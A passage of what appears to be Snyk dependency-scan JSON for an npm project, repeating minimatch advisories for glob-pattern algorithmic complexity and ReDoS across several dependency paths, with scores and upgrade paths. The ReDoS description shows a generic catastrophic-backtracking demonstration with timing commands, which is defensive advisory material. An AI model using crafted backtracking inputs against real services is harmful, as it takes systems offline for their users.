"disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## 